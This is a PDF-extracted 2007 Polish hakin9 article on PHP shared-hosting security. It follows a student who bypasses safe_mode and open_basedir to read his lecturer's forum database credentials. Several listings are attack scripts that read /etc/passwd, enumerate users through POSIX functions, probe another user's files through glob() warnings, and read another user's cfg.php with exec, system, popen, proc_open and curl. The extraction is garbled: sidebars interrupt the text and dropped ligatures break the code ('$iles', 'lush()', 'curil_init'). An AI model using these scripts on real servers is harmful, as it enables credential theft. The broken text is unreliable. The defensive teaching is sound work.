BezpieczeĹ„stwo kont PHP, INFORMATYKA, Różne
[ Pobierz całość w formacie PDF ]
Bezpieczeństwo kont PHP
Obrona
Paweł Maziarz
pojedynczego konta?
stopień trudności
PHP zawładnęło Internetem. Niekomercyjny rynek dynamicznych
serwisów internetowych bazuje na tym języku skryptowym, tak
jak część witryn komercyjnych. Firmy hostingowe prześcigają
się w przekonywaniu klientów, proponując do wyboru PHP4
lub PHP5, alternatywne serwery baz danych, korzystniejszą
pojemność konta. Czy nie zapominają o bezpieczeństwie
PHP, którzy chcąc nam ułatwić życie, pi-
szą wszelkiej maści, bardziej lub mniej
zaawansowane, płatne lub nie, skrypty PHP
- fora internetowe, księgi gości, systemy CRM,
CMS etc. Czy można im zaufać bezgranicznie?
Oczywiście, że nie, jednak niestety w większo-
ści przypadków takim ślepym zaufaniem są ob-
darzani, bo jaki (normalny) webmaster przeglą-
dać będzie setki, czy nawet tysiące linii skryp-
tu PHP, skoro sama ich instalacja może zabrać
całkiem niemało czasu?
Te dwa zagadnienia będą dla nas istotne w
niniejszym artykule w trakcie snucia dywagacji
na temat bezpieczeństwa internetowych serwi-
sów WWW opartych o skryptowy język PHP.
Na czym polega główny problem?
Prawie wszystkie serwisy PHP są w jakiś
sposób moderowane i w jakiś sposób składu-
ją dane. Najczęściej informacje o użytkowni-
kach i ich hasłach, artykułach, produktach et
cetera składowane są w bazach danych SQL.
Skrypt chcąc się połączyć z ową bazą musi
znać do niej co najmniej login i hasło, co za-
pisywane jest w odpowiednim pliku konigura-
cyjnym (przeważnie conig.php). Często ha-
sło do bazy jest identyczne z hasłem do kon-
ta FTP/SSH/MAIL na tym serwerze, nie wspo-
minając o tym, że również może pokrywać się
z innymi hasłami konkretnego użytkownika na
innych serwerach czy też w bankach (któż spa-
mięta tak wiele haseł?), zatem ich bezpieczeń-
stwo trzeba przyjąć za kluczowe.
Sytuacja na serwerze
Korzystając z niewielkiego uproszcze-
nia, możemy przyjąć dwa możliwe warian-
ty uruchamiania skryptów PHP – PHP uży-
te jako moduł demona WWW (mod_php), co
Z artykułu dowiesz się...
• jakie są możliwości obejścia zabezpieczeń
PHP
• na jakie funkcje PHP należy zwrócić szczegól-
ną uwagę w skryptach z różnych źródeł
Co powinieneś wiedzieć...
• powinieneś znać podstawy programowania w
języku PHP
• powinieneś mieć pojęcie o systemach Linux/
Unix
2
hakin9 Nr 3/2007
www.hakin9.org
Z
drugiej strony spotykamy programistów
Bezpieczieńczstwo kont PHP
oznacza, że właścicielem każde-
go procesu jest ten sam użytkownik,
z którego sprzętu uruchamiana jest
usługa WWW (najczęściej apache,
nobody, www albo www-data) lub
PHP uruchamiane jako skrypt CGI/
FastCGI, co powoduje, że właścicie-
lem procesu jest właściciel konkretne-
go skryptu. W pierwszym przypadku,
po umieszczeniu skryptu na serwerze
należy mu dać prawa do odczytu dla
wszystkich (np. chmod 644 plik.php),
widać zatem, że system operacyjny
nie będzie miał nic przeciw, by kto-
kolwiek inny niż właściciel przeczy-
tał ten plik. W przypadku drugim nato-
miast nikt poza właścicielem skryptu
nie musi mieć prawa do jego odczytu,
w praktyce jednak rzadko spotyka się
tak samolubnych użytkowników, a z
drugiej strony i tak pozostają jeszcze
prywatne pliki użytkownika, które nie
są skryptami PHP, a więc by mogły
być serwowane przez usługę WWW,
muszą mieć one zatem prawa dostę-
pu jak w przypadku pierwszym.
Dyrektywy safe_mode
•
safe_mode
– włącz lub wyłącz safe_mode
•
safe _ mode _ gid
– sprawdzaj grupę pliku zamiast jego właściciela
•
safe _ mode _ include _ dir
– pomiń sprawdzanie użytkownika/grupy dla plików
z podanych katalogów
•
safe _ mode _ exec _ dir
– ogranicz funkcje uruchamiające programy jak exec()
do uruchamiania programów z podanego katalogu
•
safe _ mode _ allowed _ env _ vars
– zezwól użytkownikowi na zmianę wartości
zmiennych zaczynających się podanym preiksem
•
safe _ mode _ protected _ env _ vars
– zabroń użytkownikowi zmiany wartości
zmiennych zaczynających się podanym preiksem
O autorze
Autor jest właścicielem i jednocześnie jednym z głównych programistów irmy tworzą-
cej między innymi oprogramowanie PHP. Od kilku lat współpracuje również z irmami
hostingowymi w charakterze administratora. Kontakt z autorem:
pawel.maziarz@in-
tersim.pl.
Nasz mały teatrzyk
W celu uwidocznienia problemu, zor-
ganizujemy niewielki teatrzyk. Głów-
ne role w naszym przedstawieniu bę-
dą odgrywać użytkownicy:
Listing 1.
fragment pliku /etc/passwd
www-data:x:33:33:www-data:/var/www:/bin/false
mieciu:x:1069:100:dr Mieczyslaw:/home/users/mieciu:/bin/false
haker:x:31337:100:student doktora Mieczyslawa:/home/users/haker:/bin/false
•
www
-data – użytkownik, z którego
uruchamiany jest demon WWW
(Apache2),
Rysunek 1.
Zrzut ekranu przedstawiający wykorzystanie błędu w użyciu funkcji include
www.hakin9.org
hakin9 Nr 3/2007
3
Obrona
•
mieciu
– dr Mieczysław, uczci-
wy pracownik jednej z wyższych
uczelni, posiadający na serwerze
forum dostępne tylko dla swoich
współpracowników, na którym
szczegółowo omawiają oni za-
gadnienia na planowane egzami-
ny, kolokwia i kartkówki,
•
haker
– student doktora Mieczy-
sława, który pozyskał konto na
tym samym serwerze, co jego
wykładowca, w celu umożliwie-
nia sobie uczestnictwa (choćby
biernego) w dyskusjach tej eli-
tarnej grupy. Listing 1 pokazuje
część pliku /etc/passwd dotyczą-
cą tych trzech użytkowników.
jest każdorazowe sprawdzanie, czy
właściciel otwieranego pliku bądź
katalogu jest właścicielem skryptu,
z którego zasób jest otwierany. Je-
żeli nie jest,
safe _ mode
zakomuni-
kuje ostrzeżenie jak powyżej i ope-
racja zakończy się niepowodzeniem.
safe _ mode
posiada też kilka bardziej
wyspecjalizowanych dyrektyw, które
przedstawione są w ramce.
open_basedir
Dyrektywa
open _ basedir
ogra-
nicza dostęp do plików i katalo-
gów do podanej ścieżki. Jeżeli plik
bądź katalog znajduje się poza nią,
Funkcje uruchamiające programy
•
exec
– uruchom program, zapisz wyjście oraz kod powrotu do zmiennych, zwróć
ostatnią linijkę wyjścia
•
passthru
– uruchom program, wyświetl jego wyjście, zapisz kod powrotu
•
system
– uruchom program, wyświetl wyjście, zapisz kod powrotu, zwróć ostatnią
linijkę wyjścia
•
shell _ exec
(lub `
polecenie
`) - uruchom program, zwróć całe wyjście
•
popen
– uruchom program, stwórz do niego potok, zwróć wskaźnik do plik (taki jak
przy funkcji fopen)
•
proc _ open
– podobnie jak popen, ale z dwukierunkową komunikacją
Przedstawienie
czas zacząć
Haker wie, że forum doktora Mieczy-
sława znajduje się na serwerze, na
którym właśnie sam pozyskał konto.
Wie, że korzysta on z bazy danych.
Zdaje sobie też sprawę z tego, że by
osiągnąć swój cel musi zdobyć do-
stęp do tej bazy. Wie, że login i hasło
do niej znajdują się na koncie dok-
tora w jednym z plików koniguracyj-
nych. Nie wie jednak pod jakim logi-
nem widnieje wykładowca w syste-
mie ani tego gdzie poszukiwania ha-
seł zacząć. Wie natomiast, że jeże-
li zobaczy listę użytkowników, od ra-
zu pozna login należący do doktora.
Pisze więc prosty skrypt includepas-
swd.php, który wyświetli przeglądar-
ce zawartość pliku /etc/passwd – Li-
sting 2.
Po wpisaniu adresu skryptu w
przeglądarce, czeka go jednak z
pewnością widok jednego z komu-
nikatów, które przedstawia Listing
19 lub Listing 20. Za pierwszy odpo-
wiada dyrektywa
safe _ mode
, za dru-
gi
open _ basedir
, które są powszech-
nie używane.
Lista funkcji POSIX :
•
posix_access
– sprawdź dostęp do pliku
•
posix _ ctermid
– podaj ścieżkę kontrolującego terminala
•
posix _ get _ last _ error
-- podaj numer błędu ostatniej funkcji POSIX
•
posix _ getcwd
– podaj bieżący katalog
•
posix _ getegid
– podaj efektywny ID bieżącego procesu
•
posix _ geteuid
– podaj efektywny ID użytkownika bieżącego procesu
•
posix _ getgid
– podaj prawdziwy ID grupy bieżącego procesu
•
posix _ getgrgid
– pobierz informacje na temat grupy o podanym ID
•
posix _ getgrnam
– pobierz informacje na temat grupy o podanej nazwie
•
posix _ getgroups
– podaj listę grup bieżącego procesu
•
posix _ getlogin
– podaj nazwę użytkownika
•
posix _ getpgid
– podaj grupę procesu podanego jako argument
•
posix _ getpgrp
– podaj identyikator grupy bieżącego procesu
•
posix _ getpid
– podaj aktualny PID procesu
•
posix _ getppid
– podaj PID procesu-rodzica
•
posix _ getpwnam
– podaj informacje o użytkowniku o podanej nazwie
•
posix _ getpwuid
– podaj informacje o użytkowniku o podanym ID
•
posix _ getrlimit
– podaj informacje o limitach systemowych
•
posix _ getsid
– podaj SID procesu
•
posix _ getuid
– podaj prawdziwy ID użytkownika bieżącego procesu
•
posix _ isatty
– sprawdź, czy identyikator pliku jest interaktywnym terminalem
•
posix _ kill
– wyślij sygnał do procesu
•
posix _ mkifo
– stwórz potok ifo
•
posix _ mknod
– stwórz specjalne urządzenie
•
posix _ setegid
– ustaw efektywną grupę bieżącego procesu
•
posix _ seteuid
– ustaw efektywnego użytkownika procesu
•
posix _ setgid
– ustaw grupę bieżącego procesu
•
posix _ setpgid
– ustaw grupę group id for job control
•
posix _ setsid
– ustaw bieżący proces liderem sesji
•
posix _ setuid
– ustaw UID bieżącego procesu
•
posix _ strerror
– podaj tekst błędu o podanym jako argument numerze
•
posix _ times
– podaj wyznaczniki czasowe procesu
•
posix _ ttyname
– podaj nazwę urządzenia terminala
•
posix _ uname
– podaj informacje o systemie
safe_mode
Dyrektywa
safe _ mode
jest jedną z
prób rozwiązania problemu dzielenia
jednego systemu przez wielu użyt-
kowników. Ma na celu ograniczenie
dostępu do zasobów danego użyt-
kownika wyłącznie dla ich właścicie-
la. Najbardziej charakterystycznym
efektem uruchomienia tej dyrektywy,
4
hakin9 Nr 3/2007
www.hakin9.org
Bezpieczieńczstwo kont PHP
Listing 2.
skrypt includepasswd.php wyświetlający plik /etc/passwd
wyświetlany jest odpowiedni komu-
nikat i operacja kończy się niepo-
wodzeniem. Najczęściej każdy użyt-
kownik posiada na serwerze odpo-
wiednio zdeiniowaną ścieżkę w dy-
rektywie open_basedir.
Można więc poczynić wnioski, że
na serwerze, na którym te dyrektywy
albo chociaż
open _ basedir
są zde-
iniowane, użytkownik ma dostęp do
plików tylko w swoim katalogu do-
mowym, jednak nie jest to wcale ta-
kie proste. Do naszego scenariusza
dopuśćmy zatem okoliczność, że na
serwerze ustawione są odpowiednio
obie restrykcje i dajmy hakerowi się
wykazać.
Haker posługuje się więc alterna-
tywną metodę odczytania pliku
/etc/
passws
, tworząc tym samym skrypt
posixcatpasswd.php
przedstawiony
na Listingu 3.
Po wpisaniu adresu tego skryp-
tu, w przeglądarce będzie się suk-
cesywnie, linijka po linijce, ukazywać
zawartość pliku
/etc/passwd
, który
zawiera informacje o użytkownikach.
Efekt taki haker uzyskał dzięki funkcji
posix_getpwuid, zwracającej infor-
macje o użytkowniku, którego iden-
tyikator podany zostanie jako argu-
ment. Wykorzystując pętle for z war-
tościami z zakresu 0-65535, haker
jest pewien, że zostanie wyświetlona
lista wszystkich użytkowników z uni-
katowymi identyikatorami UID.
Funkcja
posix _ getpwuid
należy
do rodziny funkcji POSIX, które prze-
ważnie są wkompilowane domyślnie
w pakiety binarne z PHP. By skom-
pilować PHP bez modułu POSIX, wy-
starczy przed kompilacją PHP dodać
do linii polecenia conigure przełącz-
nik –
disable-posix
. Trzeba dodać, że
funkcje POSIX nie biorą pod uwagę
żadnych testów wynikających z dy-
rektyw open_basedir bądź safe_mo-
de, więc jedyne zabezpieczenie przed
nimi to wyłączenie podczas kompila-
cji, bądź dodanie ich do dyrektywy
disabled _ functions
z php.ini.
W ramce obok przedstawione są
wszystkie funkcje POSIX (nie są one
dostępne na platformie Windows).
Napastnik tym sposobem roz-
poznał od razu, że login dokto-
ra Mieczysława to mieciu i wie już,
<?
php
header
(
"Content-type: text/plain"
)
;
include
(
"/etc/passwd"
)
;
?>
Listing 3.
skrypt posixcatpasswd.php
<?php
header
(
"Content-type: text/plain"
)
;
for
(
$uid
= 0;
$uid
<
= 65535; $uid++) {
if (($pw = posix_getpwuid($uid))) {
echo implode(
":"
, $pw) .
"\n"
;
lush();
}
}
?
>
Listing 4.
globtest.php
<?
php
ini_set
(
"display_errors"
, 1
)
;
error_reporting
(
E_ALL
)
;
$iles
= glob
(
„/home/users/mieciu/*”
)
;
?>
Listing 5.
skrypt globshowsomeiles.php
<?
php
ini_set
(
"display_errors"
, 1
)
;
error_reporting
(
E_ALL
)
;
$dir
=
(
isset
(
$_GET
[
'd'
]))
?
$_GET
[
'd'
]
:
""
;
for
(
$i
= 65;
$i
<
= 90; $i++) {
glob(
"$dir/"
. strtolower(chr($i)) .
"*"
);
glob(
"$dir/"
. chr($i) .
"*"
);
}
?
>
Rysunek 2.
Zrzut ekranu przedstawiający działanie funkcji eval
www.hakin9.org
hakin9 Nr 3/2007
5
Obrona
że jego katalogiem domowym jest
/home/users/mieciu/. Nie może jed-
nak w tradycyjny sposób (czyli za po-
mocą funkcji opendir/readdir) pobrać
zawartości katalogu domowego dok-
tora, ponieważ nie pozwoli na to dy-
rektywa open_basedir i/lub safe_mo-
de. Istnieje jednak w PHP bardzo cie-
kawa funkcja glob, która zwraca listę
plików pasujących do wyrażenia, ja-
kie się jej poda, np. konstrukcja
$ob-
razki_jpg = glob(„img/*.jpg”)
; zwró-
ci w tablicy nazwy wszystkich plików
z rozszerzeniem .jpg w katalogu img.
Ale czy wcześniej omówione zabez-
pieczenia PHP nie powstrzymają jej
w razie próby penetracji katalogu in-
nego użytkownika? Przeciwnie! Zro-
bią to. I dadzą nam to wyraźnie do zro-
zumienia. Bardzo wyraźnie. Spójrzmy
na Listing 4 przedstawiający działanie
tej funkcji.
Pierwsze dwie linijki skryp-
tu globtest.php występują w celu
upewnienia się, że PHP wyświetli
nam wszystkie błędy i ostrzeżenia.
Ostatnia natomiast próbuje zapisać
w zmiennej
$iles
tablicę z nazwami
plików i katalogów użytkownika mie-
ciu, jednak zamiast tego wyświetli ta-
kie ostrzeżenie:
Po wejściu hakera na stronę
http:/
/serwer/globshowsomeiles.php?d=/
home/users/mieciu
, w przeglądarce
wyświetlą się mu pierwsze pliki za-
czynające się od małej lub dużej lite-
ry(Listing 21)
Jak widać, dzięki funkcji glob
można poznać ścieżki prywatnych
plików użytkownika, na przykład ma-
teriałów czy zdjęć, do których ad-
res znają tylko nieliczne uprawnione
przez niego osoby. Idąc tym tropem,
Listing 6.
skrypt runlola.php
<?
php
header
(
"Content-type: text/plain"
)
;
ini_set
(
"display_errors"
, 1
)
;
error_reporting
(
E_ALL
)
;
$ile
=
"/home/users/mieciu/public_html/forum/cfg.php"
;
echo
"exec()
\n
"
;
if
(
exec
(
"cat
$ile
"
,
$ret
))
{
$buf
=
join
(
$ret
,
"
\n
"
)
;
echo
"
$buf
\n
"
;
}
echo
"system()
\n
"
;
$ret
= system
(
"cat
$ile
"
)
;
echo
"
$ret
\n
"
;
echo
"shell_exec()
\n
"
;
$ret
= shell_exec
(
"cat
$ile
"
)
;
echo
$ret
;
echo
"passthru()
\n
"
;
passthru
(
"cp
$ile
/tmp/.passthrutest"
)
;
readile
(
"/tmp/.passthrutest"
)
;
unlink
(
"/tmp/.passthrutest"
)
;
echo
"popen()
\n
"
;
$fp
= popen
(
"cat
$ile
"
,
"r"
)
;
while
((
$buf
=
fgets
(
$fp
, 4096
)))
echo
"
$buf
"
;
pclose
(
$fp
)
;
Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/Mail) is
not within the allowed path(s): (/tmp:
/home/users/haker) in /home/users/
haker/public_html/globtest.php on
line 5
if
(
function_exists
(
"proc_open"
))
{
echo
"proc_open
\n
"
;
$descriptorspec
=
array
(
0 =
>
array
(
"pipe"
,
"r"
)
,
1 =
>
array
(
"pipe"
,
"w"
)
,
2 =
>
array
(
"pipe"
,
"w"
))
;
$po
= proc_open
(
"cat
$ile
"
,
$descriptorspec
,
$pipes
)
;
while
((
$buf
=
fgets
(
$pipes
[
1
]
, 4096
)))
echo
$buf
;
proc_close
(
$po
)
;
}
?>
Dzięki użyciu gwiazdki, funkcja
glob dopasowała pierwszy katalog
u doktora Mieczysława, następnie
zajął się nim open_basedir spraw-
dzając, czy jest on dostępny dla ha-
kera, a jako, że oczywiście nie jest,
PHP odpowiednio to zakomuniko-
wał, podając w ostrzeżeniu nazwę
pliku. Idąc tym tropem, można ła-
two zgadnąć, że zapis
glob(„/home/
users/mieciu/a*”)
; wyświetli ostrze-
żenie o braku dostępu do pierwsze-
go pliku rozpoczynającego się lite-
rą a, o ile taki będzie istniał. Haker
tworzy wtedy szybko skrypt glob-
showsomeiles.php przedstawiony
na Listingu 5.
Listing 7.
skrypt curlread.php
<?
php
if
(
function_exists
(
"curl_init"
))
{
$ile
=
"/home/users/mieciu/public_html/forum/cfg.php"
;
$ci
= curil_init
(
"ile://
$ile
"
)
;
echo
curl_exec
(
$ci
)
;
}
else
echo
"brak rozszerzenia curl."
;
?>
6
hakin9 Nr 3/2007
www.hakin9.org
[ Pobierz całość w formacie PDF ]